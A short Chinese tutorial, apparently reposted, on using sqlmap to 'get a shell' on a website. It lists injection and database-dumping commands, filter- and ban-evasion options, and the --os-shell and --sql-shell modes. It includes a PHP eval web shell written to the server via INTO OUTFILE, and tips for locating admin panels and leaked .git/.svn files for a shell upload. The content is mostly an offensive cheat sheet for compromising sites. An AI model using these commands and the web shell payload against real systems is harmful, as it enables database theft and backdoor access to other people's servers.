sqlmap怎么拿shell


   

在滲透測試中,sqlmap是常用的注入工具,相比手注而言更為快捷但如果是挖洞的話還是手注效率更高。

sqlmap是一款開源的滲透測試工具,能夠對頁面中的get/post參數,cookie,http頭等進行檢測。

sqlmap支持五種檢測類型

  1. 基於union的聯合注入
  2. 布爾盲注
  3. 時間盲注
  4. 堆疊注入
  5. 組合查詢語句看是否報錯

  支持的數據庫很多比如 Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb

在注入之前可以通過一些方法讓工具使用更加准確快捷,在進入一個網站時可以使用插件或者網站指紋分析來判斷該網站的語言推斷出數據庫這樣可以使用 -dbms=xxx提高注入效率,判斷注入點和注入類型

設置線程等等。

那么拿到站一般的過程是 -

  -current-db查看數據庫

  -D  數據庫名 --tables 查看所有表

  -T 表名 --columns 查看字段 然后托庫

如果在注入時存在一些問題可以加上一些命令

  --current-db --hex 十六進制編碼

   --current-db --no-cast  一種編碼

   --current-db --hpp  對http參數污染

   --current-db --tamper xxx.py 使用腳本進行繞過

   --current-db  --risk = 5 --level = 3  設置risk和leval的等級

   –threads = 50增加默認線程

   --batch,自動注入

  –safe-freq和–random-agent 如果ip被ban

  

 關於post注入

  --current-db --cookie "id=1"   通過burp抓包在cookie user-agent處加* sqlmap注入

  ?id=1 -r 1.txt  也可以添加–os-shell,–sql-shell,–os-pwn

    --os-shell   需要絕對路徑且secure_file_priv不為NULL 且為dba權限

  --is-dba 檢測dba權限

  ?id=-1 union select 1,2,@@secure_file_priv

  select @@secure_file_priv 

  這兩條命令檢測secure_file_priv是否為null  如果secure_file_priv為null的話呢么大概率拿不到權限

   --os-shell創建一個對方操作系統的shell執行命令 需要知道語言 asp aspx jsp php 和絕對路徑

  

 

   1 為使用路徑 2是用戶自己輸入 3是用戶自己的字典 4是爆破

  --sql-shell

  需要支持堆疊注入,有寫入的權限,

  select "<?php @eval($_POST[1]);?>" into outfile "xxx/you.php";

  

那么如果存在注入找到密碼,我們找到了網站后台用密碼進入后台可以找上傳點拿shell

網站后台一般存在當前網站根目錄下面或者旁站、二級域名、其他服務器

admin.php,manage.php 根目錄下/admin,/manage,還有織夢系統的默認后台地址/dede

可以通過谷歌語法尋找 存在且能查看robots.txt通過查看該文件 網站上的圖片資源鏈接等

該網站如果是cms或者cms修改搭建的可以看cms的一些特征

敏感文件 .svn .git 的信息泄露 和源碼泄露

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM